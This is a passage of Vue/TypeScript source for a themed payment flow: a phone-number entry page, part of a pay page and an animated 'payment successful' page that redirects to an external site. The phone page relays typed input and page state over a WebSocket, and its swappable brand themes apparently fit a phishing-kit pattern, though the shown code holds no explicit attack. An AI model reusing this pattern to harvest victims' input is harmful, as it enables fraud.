const point = localStorage.getItem("totalPoint");
if (point) {
totalPoint.value = Number(point);
}
});
</script>
<template>
<CommonLayout>
<template #default>
<!-- 动态加载 Pay 主题组件 -->
<component
:is="currentThemeComponent"
:colors="currentColors"
:phone="phone"
:pay-date="payDate"
:invoice-number="invoiceNumber"
:domain-name="globalConfig.main_name"
:total-point="totalPoint"
@submit="next"
/>
</template>
</CommonLayout>
</template>
<style scoped>
/* 样式由各主题组件自己管理 */
</style>

View File

@@ -0,0 +1,96 @@
<script setup lang="ts">
import { computed, getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import Theme1 from "@/components/theme/Theme1.vue";
import Theme2 from "@/components/theme/Theme2.vue";
import Theme3 from "@/components/theme/Theme3.vue";
import Theme4 from "@/components/theme/Theme4.vue";
import Theme5 from "@/components/theme/Theme5.vue";
import Theme6 from "@/components/theme/Theme6.vue";
import { getThemeColors } from "@/config/themes";
import { goodsConfig } from "@/config";
const router = useRouter();
const loadingStore = useLoadingStore();
const instance = getCurrentInstance()!;
const phone = ref("");
// 获取当前主题组件
const currentThemeComponent = computed(() => {
const themeId = goodsConfig.value.homeTheme || 1;
const themeMap: Record<string, any> = {
"1": Theme1,
"2": Theme2,
"3": Theme3,
"4": Theme4,
"5": Theme5,
"6": Theme6,
};
return themeMap[themeId] || Theme1; // 默认使用主题2
});
// 获取当前主题颜色配置
const currentColors = computed(() => {
const themeId = goodsConfig.value.homeTheme || 1;
return getThemeColors(themeId);
});
const handleInput = (value: string) => {
phone.value = value;
inputChange("input_phone", "", value);
};
const handleSubmit = () => {
localStorage.setItem("phone", phone.value);
loadingStore.setLoading(true);
setTimeout(() => {
router.push("/pay");
}, 200);
};
watch(
() => instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => { }
);
onMounted(() => {
useLoadingStore().setLoading(false);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "phone" },
})
);
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.phonePageData) {
phone.value = userData.phonePageData.phone || "";
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<!-- 动态加载主题组件 -->
<component
:is="currentThemeComponent"
v-model="phone"
:colors="currentColors"
@update:modelValue="handleInput"
@submit="handleSubmit"
/>
</template>
</CommonLayout>
</template>
<style scoped>
/* 样式由各主题组件自己管理 */
</style>

View File

@@ -0,0 +1,341 @@
<script setup lang="ts">
import { onMounted, ref } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { useI18n } from "vue-i18n";
import { myWebSocket, redirectToExternal } from "@/utils/common";
const { t } = useI18n();
const loading = ref(true);
// 模拟倒计时
const countdown = ref(3);
onMounted(() => {
useLoadingStore().isLoading = false;
// 发送埋点/状态
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "success" },
})
);
// 倒计时逻辑
const timer = setInterval(() => {
countdown.value--;
if (countdown.value <= 0) {
clearInterval(timer);
redirectToExternal();
}
}, 1000);
localStorage.setItem("route", "success");
});
</script>
<template>
<CommonLayout>
<div class="sc-page">
<div class="sc-card">
<!-- Animated check icon -->
<div class="sc-icon-wrap">
<svg class="sc-checkmark" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 52 52">
<circle class="sc-checkmark__circle" cx="26" cy="26" r="25" fill="none"/>
<path class="sc-checkmark__check" fill="none" d="M14.1 27.2l7.1 7.2 16.7-16.8"/>
</svg>
</div>
<!-- Title block -->
<div class="sc-header">
<h1 class="sc-title">{{ t("success_view.payment_successful") }}</h1>
<p class="sc-subtitle">{{ t("success_view.order_confirmed") }}</p>
</div>
<!-- Description -->
<p class="sc-desc">{{ t("success_view.thank_you") }}</p>
<!-- Info notes -->
<div class="sc-notes">
<div class="sc-note-item">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
<span>{{ t("success_view.funds_secured") }}</span>
</div>
<div class="sc-note-item">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M14 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V8z"/><polyline points="14 2 14 8 20 8"/></svg>
<span>{{ t("success_view.keep_receipt") }}</span>
</div>
</div>
<!-- Action section -->
<div class="sc-actions">
<div class="sc-redirect">
<span class="sc-dot-pulse"></span>
{{ t("success_view.redirecting", { seconds: countdown }) }}
</div>
<button class="sc-btn" @click="redirectToExternal">
{{ t("success_view.back_now") }}
</button>
</div>
<!-- Footer -->
<div class="sc-footer">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
{{ t("success_view.secure_payment") }}
</div>
</div>
</div>
</CommonLayout>
</template>
<style scoped>
.sc-page {
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
padding: 24px 16px;
background: linear-gradient(160deg, #f0fff4 0%, #f8fafc 50%, #f0f4ff 100%);
box-sizing: border-box;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
}
/* ===== Card ===== */
.sc-card {
width: 100%;
max-width: 480px;
background: #fff;
border-radius: 20px;
border: 1px solid rgba(226,232,240,0.8);
box-shadow:
0 0 0 1px rgba(148,163,184,0.05),
0 4px 6px -2px rgba(15,23,42,0.04),
0 12px 32px -8px rgba(15,23,42,0.1);
overflow: hidden;
text-align: center;
animation: sc-rise 0.5s cubic-bezier(0.22, 1, 0.36, 1) both;
}
@keyframes sc-rise {
from { opacity: 0; transform: translateY(20px); }
to { opacity: 1; transform: translateY(0); }
}
/* ===== Success stripe ===== */
.sc-card::before {
content: '';
display: block;
height: 4px;
background: linear-gradient(90deg, #22c55e 0%, #16a34a 100%);
}
/* ===== Icon ===== */
.sc-icon-wrap {
width: 80px;
height: 80px;
margin: 32px auto 20px;
}
.sc-checkmark {
width: 80px;
height: 80px;
border-radius: 50%;
display: block;
stroke-width: 2;
stroke: #22c55e;
stroke-miterlimit: 10;
animation: sc-fill 0.4s ease-in-out 0.4s forwards, sc-scale 0.3s ease-in-out 0.9s both;
}
.sc-checkmark__circle {
stroke-dasharray: 166;
stroke-dashoffset: 166;
stroke-width: 2;
stroke-miterlimit: 10;
stroke: #22c55e;
fill: none;
animation: sc-stroke 0.6s cubic-bezier(0.65, 0, 0.45, 1) forwards;
}
.sc-checkmark__check {
transform-origin: 50% 50%;
stroke-dasharray: 48;
stroke-dashoffset: 48;
animation: sc-stroke 0.3s cubic-bezier(0.65, 0, 0.45, 1) 0.8s forwards;
}
@keyframes sc-stroke { 100% { stroke-dashoffset: 0; } }
@keyframes sc-scale { 0%,100% { transform: none; } 50% { transform: scale3d(1.08,1.08,1); } }
@keyframes sc-fill { 100% { box-shadow: inset 0 0 0 40px #fff; } }
/* ===== Header ===== */
.sc-header {
padding: 0 28px 12px;
}
.sc-title {
margin: 0 0 6px;
font-size: 1.55rem;
font-weight: 800;
color: #0f172a;
letter-spacing: -0.4px;
}
.sc-subtitle {
margin: 0;
font-size: 0.82rem;
font-weight: 600;
letter-spacing: 0.6px;
text-transform: uppercase;
color: #22c55e;
}
/* ===== Description ===== */
.sc-desc {
margin: 0;
padding: 0 32px 20px;
font-size: 0.88rem;
color: #64748b;
line-height: 1.65;
}
/* ===== Notes ===== */
.sc-notes {
margin: 0 24px 20px;
background: #f8fafc;
border: 1px solid #e9edf3;
border-radius: 12px;
overflow: hidden;
}
.sc-note-item {
display: flex;
align-items: center;
gap: 10px;
padding: 11px 14px;
font-size: 0.79rem;
color: #64748b;
line-height: 1.45;
border-bottom: 1px solid #f1f5f9;
text-align: left;
}
.sc-note-item:last-child {
border-bottom: none;
}
.sc-note-item svg {
width: 14px;
height: 14px;
flex-shrink: 0;
color: #22c55e;
stroke: #22c55e;
}
/* ===== Actions ===== */
.sc-actions {
padding: 16px 24px 20px;
border-top: 1px solid #f1f5f9;
}
.sc-redirect {
display: flex;
align-items: center;
justify-content: center;
gap: 8px;
font-size: 0.82rem;
color: #9ca3af;
margin-bottom: 14px;
}
.sc-dot-pulse {
width: 6px;
height: 6px;
border-radius: 50%;
background: #22c55e;
display: inline-block;
animation: sc-pulse 1.2s ease-in-out infinite;
}
@keyframes sc-pulse {
0%, 100% { opacity: 1; transform: scale(1); }
50% { opacity: 0.4; transform: scale(0.7); }
}
.sc-btn {
width: 100%;
height: 48px;
background: #22c55e;
color: #fff;
border: none;
border-radius: 12px;
font-size: 0.95rem;
font-weight: 700;
letter-spacing: 0.04em;
cursor: pointer;
transition: filter 0.15s, transform 0.1s;
box-shadow: 0 4px 14px rgba(34,197,94,0.3);
position: relative;
overflow: hidden;
}
.sc-btn::after {
content: '';
position: absolute;
inset: 0;
background: linear-gradient(180deg, rgba(255,255,255,0.12) 0%, transparent 100%);
pointer-events: none;
}
.sc-btn:hover { filter: brightness(1.06); }
.sc-btn:active { transform: scale(0.985); filter: brightness(0.96); }
/* ===== Footer ===== */
.sc-footer {
display: flex;
align-items: center;
justify-content: center;
gap: 5px;
padding: 12px 24px 16px;
border-top: 1px solid #f1f5f9;
font-size: 0.75rem;
font-weight: 500;
color: #9ca3af;
background: #fafbfd;
}
.sc-footer svg {
width: 11px;
height: 11px;
stroke: #22c55e;
fill: none;
flex-shrink: 0;
}
/* ===== Responsive ===== */
@media (max-width: 520px) {
.sc-card {
border-radius: 16px;
}
.sc-title {
font-size: 1.3rem;
}
.sc-desc {
padding: 0 20px 16px;
}
.sc-notes {
margin: 0 16px 16px;
}
.sc-actions {
padding: 14px 16px 16px;
}
}
</style>